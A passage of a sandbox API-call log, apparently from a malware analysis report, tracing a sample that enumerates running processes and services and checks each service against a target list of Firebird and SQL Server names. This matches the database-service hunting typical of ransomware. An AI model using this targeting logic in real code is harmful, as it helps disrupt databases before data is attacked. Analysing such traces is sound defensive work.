(lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0186.703] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0186.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0186.703] lstrlenW (lpString="Themes") returned 6 [0186.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0186.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0186.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0186.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0186.703] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x456b180 | out: hHeap=0x420000) returned 1 [0186.703] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4d4 [0186.708] Process32FirstW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.708] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0186.709] lstrlenW (lpString="System") returned 6 [0186.709] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0186.709] lstrlenW (lpString="smss.exe") returned 8 [0186.709] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0186.709] lstrlenW (lpString="csrss.exe") returned 9 [0186.710] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0186.710] lstrlenW (lpString="wininit.exe") returned 11 [0186.710] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0186.710] lstrlenW (lpString="csrss.exe") returned 9 [0186.710] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0186.711] lstrlenW (lpString="winlogon.exe") returned 12 [0186.711] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0186.711] lstrlenW (lpString="services.exe") returned 12 [0186.711] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0186.712] lstrlenW (lpString="lsass.exe") returned 9 [0186.712] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0186.712] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0186.712] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0186.713] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0186.713] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.713] lstrlenW (lpString="svchost.exe") returned 11 [0186.713] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.713] lstrlenW (lpString="svchost.exe") returned 11 [0186.713] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0186.714] lstrlenW (lpString="dwm.exe") returned 7 [0186.714] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.714] lstrlenW (lpString="svchost.exe") returned 11 [0186.714] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.715] lstrlenW (lpString="svchost.exe") returned 11 [0186.715] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.715] lstrlenW (lpString="svchost.exe") returned 11 [0186.715] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.716] lstrlenW (lpString="svchost.exe") returned 11 [0186.716] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.716] lstrlenW (lpString="svchost.exe") returned 11 [0186.716] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.717] lstrlenW (lpString="svchost.exe") returned 11 [0186.717] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.717] lstrlenW (lpString="svchost.exe") returned 11 [0186.717] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.718] lstrlenW (lpString="svchost.exe") returned 11 [0186.718] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.718] lstrlenW (lpString="svchost.exe") returned 11 [0186.718] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.718] lstrlenW (lpString="svchost.exe") returned 11 [0186.718] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0186.719] lstrlenW (lpString="spoolsv.exe") returned 11 [0186.719] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.719] lstrlenW (lpString="svchost.exe") returned 11 [0186.719] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0186.720] lstrlenW (lpString="audiodg.exe") returned 11 [0186.720] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0186.721] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0186.721] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0186.721] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0186.721] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0186.722] lstrlenW (lpString="Memory Compression") returned 18 [0186.722] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0186.722] lstrlenW (lpString="sihost.exe") returned 10 [0186.722] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.722] lstrlenW (lpString="svchost.exe") returned 11 [0186.723] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0186.723] lstrlenW (lpString="taskhostw.exe") returned 13 [0186.723] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0186.723] lstrlenW (lpString="msoia.exe") returned 9 [0186.723] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0186.724] lstrlenW (lpString="explorer.exe") returned 12 [0186.724] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0186.724] lstrlenW (lpString="SearchUI.exe") returned 12 [0186.724] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0186.725] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0186.725] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0186.725] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0186.725] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0186.726] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0186.726] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0186.726] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0186.726] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0186.726] lstrlenW (lpString="cmd.exe") returned 7 [0186.726] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0186.727] lstrlenW (lpString="conhost.exe") returned 11 [0186.727] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0186.727] lstrlenW (lpString="mode.com") returned 8 [0186.727] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0186.728] lstrlenW (lpString="consent.exe") returned 11 [0186.728] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0186.728] CloseHandle (hObject=0x4d4) returned 1 [0186.728] Sleep (dwMilliseconds=0x1f4) [0187.424] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b008 [0187.425] EnumServicesStatusExW (in: hSCManager=0x447b008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0187.425] GetLastError () returned 0xea [0187.425] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c94) returned 0x456b180 [0187.425] EnumServicesStatusExW (in: hSCManager=0x447b008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c94, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0187.426] CloseServiceHandle (hSCObject=0x447b008) returned 1 [0187.426] lstrlenW (lpString="Appinfo") returned 7 [0187.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0187.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0187.426] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0187.426] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0187.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0187.426] lstrlenW (lpString="AppXSvc") returned 7 [0187.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0187.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0187.426] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0187.426] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0187.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0187.427] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0187.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0187.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0187.427] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0187.427] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0187.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0187.427] lstrlenW (lpString="Audiosrv") returned 8 [0187.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0187.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0187.427] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0187.427] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0187.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0187.427] lstrlenW (lpString="BFE") returned 3 [0187.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0187.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0187.427] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0187.427] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0187.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0187.427] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0187.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0187.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0187.427] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0187.427] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0187.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0187.427] lstrlenW (lpString="CDPSvc") returned 6 [0187.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0187.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0187.427] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0187.427] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0187.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0187.427] lstrlenW (lpString="ClickToRunSvc") returned 13 [0187.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0187.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0187.428] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0187.428] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0187.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0187.428] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0187.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0187.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0187.428] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0187.428] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0187.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0187.428] lstrlenW (lpString="CryptSvc") returned 8 [0187.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0187.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0187.428] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0187.428] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0187.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0187.428] lstrlenW (lpString="DcomLaunch") returned 10 [0187.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0187.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0187.428] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0187.428] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0187.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0187.428] lstrlenW (lpString="DeviceAssociationService") returned 24 [0187.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0187.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0187.428] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0187.428] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0187.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0187.428] lstrlenW (lpString="Dhcp") returned 4 [0187.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0187.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0187.428] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0187.428] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0187.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0187.428] lstrlenW (lpString="Dnscache") returned 8 [0187.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0187.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0187.429] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0187.429] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0187.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0187.429] lstrlenW (lpString="DPS") returned 3 [0187.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0187.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0187.429] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0187.429] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0187.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0187.429] lstrlenW (lpString="DsmSvc") returned 6 [0187.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0187.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0187.429] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0187.429] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0187.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0187.429] lstrlenW (lpString="DusmSvc") returned 7 [0187.429] lstrcmpiW 